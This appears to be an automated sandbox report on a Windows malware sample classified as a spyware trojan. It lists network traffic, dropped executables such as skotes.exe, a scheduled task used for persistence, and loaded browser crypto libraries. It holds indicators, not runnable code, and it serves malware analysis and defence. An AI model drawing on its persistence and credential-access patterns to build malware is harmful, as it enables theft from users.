Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58740
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58981
Source: unknown	Network traffic detected: HTTP traffic on port 59038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58862
Source: unknown	Network traffic detected: HTTP traffic on port 58750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58980
Source: unknown	Network traffic detected: HTTP traffic on port 59015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58747
Source: unknown	Network traffic detected: HTTP traffic on port 58704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58868
Source: unknown	Network traffic detected: HTTP traffic on port 58968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58989
Source: unknown	Network traffic detected: HTTP traffic on port 58922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58994
Source: unknown	Network traffic detected: HTTP traffic on port 58876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58991
Source: unknown	Network traffic detected: HTTP traffic on port 58791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58990
Source: unknown	Network traffic detected: HTTP traffic on port 58979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58933 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:58664 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:58699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:58698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:58735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:58928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:59058 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: section name:
Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\DocumentsJJJJKEHCAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AC60	0_2_6C70AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DAC30	0_2_6C7DAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C6C00	0_2_6C7C6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75ECD0	0_2_6C75ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FECC0	0_2_6C6FECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CED70	0_2_6C7CED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C88CDC0	0_2_6C88CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C888D20	0_2_6C888D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C704DB0	0_2_6C704DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82AD50	0_2_6C82AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C796D90	0_2_6C796D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79EE70	0_2_6C79EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E0E20	0_2_6C7E0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AEC0	0_2_6C70AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0EC0	0_2_6C7A0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C786E90	0_2_6C786E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C2F70	0_2_6C7C2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C848FB0	0_2_6C848FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76EF40	0_2_6C76EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C706F10	0_2_6C706F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DEFF0	0_2_6C7DEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C700FE0	0_2_6C700FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840F20	0_2_6C840F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70EFB0	0_2_6C70EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D4840	0_2_6C7D4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C750820	0_2_6C750820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A820	0_2_6C78A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8068E0	0_2_6C8068E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C738960	0_2_6C738960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81C9E0	0_2_6C81C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756900	0_2_6C756900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7349F0	0_2_6C7349F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C09B0	0_2_6C7C09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7909A0	0_2_6C7909A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA9A0	0_2_6C7BA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77CA70	0_2_6C77CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B8A30	0_2_6C7B8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7AEA00	0_2_6C7AEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77EA80	0_2_6C77EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C806BE0	0_2_6C806BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0BA0	0_2_6C7A0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82A480	0_2_6C82A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718460	0_2_6C718460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78A430	0_2_6C78A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C764420	0_2_6C764420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7464D0	0_2_6C7464D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79A4D0	0_2_6C79A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A0570	0_2_6C7A0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C762560	0_2_6C762560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C758540	0_2_6C758540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78E5F0	0_2_6C78E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CA5E0	0_2_6C7CA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C804540	0_2_6C804540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C848550	0_2_6C848550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F45B0	0_2_6C6F45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75C650	0_2_6C75C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75E6E0	0_2_6C75E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79E6E0	0_2_6C79E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7246D0	0_2_6C7246D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C780700	0_2_6C780700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72A7D0	0_2_6C72A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C74E070	0_2_6C74E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7C8010	0_2_6C7C8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CC000	0_2_6C7CC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7100B0	0_2_6C7100B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DC0B0	0_2_6C7DC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8090	0_2_6C6F8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768140	0_2_6C768140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C776130	0_2_6C776130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E4130	0_2_6C7E4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7001E0	0_2_6C7001E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C788260	0_2_6C788260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C798250	0_2_6C798250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8862C0	0_2_6C8862C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8220	0_2_6C7D8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CA210	0_2_6C7CA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7CE2B0	0_2_6C7CE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D22A0	0_2_6C7D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C702370	0_2_6C702370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C796370	0_2_6C796370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C708340	0_2_6C708340
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_00057049	20_2_00057049
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_00058860	20_2_00058860
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_000578BB	20_2_000578BB
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_000531A8	20_2_000531A8
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_00014B30	20_2_00014B30
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_00052D10	20_2_00052D10
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_00014DE0	20_2_00014DE0
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_00047F36	20_2_00047F36
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: 20_2_0005779B	20_2_0005779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00567049	21_2_00567049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00568860	21_2_00568860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_005678BB	21_2_005678BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_005631A8	21_2_005631A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00524B30	21_2_00524B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00562D10	21_2_00562D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00524DE0	21_2_00524DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00557F36	21_2_00557F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0056779B	21_2_0056779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00567049	22_2_00567049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00568860	22_2_00568860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005678BB	22_2_005678BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_005631A8	22_2_005631A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00524B30	22_2_00524B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00562D10	22_2_00562D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00524DE0	22_2_00524DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00557F36	22_2_00557F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0056779B	22_2_0056779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C729B10 appears 49 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C88D930 appears 40 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C723620 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8809D0 appears 215 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C88DAE0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0053DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 005380C0 appears 260 times
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Code function: String function: 000280C0 appears 130 times

Source: file.exe, 00000000.00000002.2431409402.000000006C8D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: bwfmakny ZLIB complexity 0.9947047557645631

Source: DocumentsJJJJKEHCAK.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.20.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: DocumentsJJJJKEHCAK.exe, 00000014.00000000.2383706903.000000000020D000.00000080.00000001.01000000.0000000B.sdmp, DocumentsJJJJKEHCAK.exe, 00000014.00000001.2384538441.000000000020D000.00000080.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000000.2424016987.000000000071D000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000000.2455123339.000000000071D000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe.20.dr, DocumentsJJJJKEHCAK.exe.0.dr, random[1].exe.0.dr

Binary or memory string: L[.SLN

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/294@28/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\1EWTGBTG.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9064:120:WilError_03
Source: C:\Users\user\DocumentsJJJJKEHCAK.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\1a1a96af-e16e-4be0-9146-59b876de36d4.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2430151038.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2430151038.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2430151038.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2412575832.000000001DB2C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
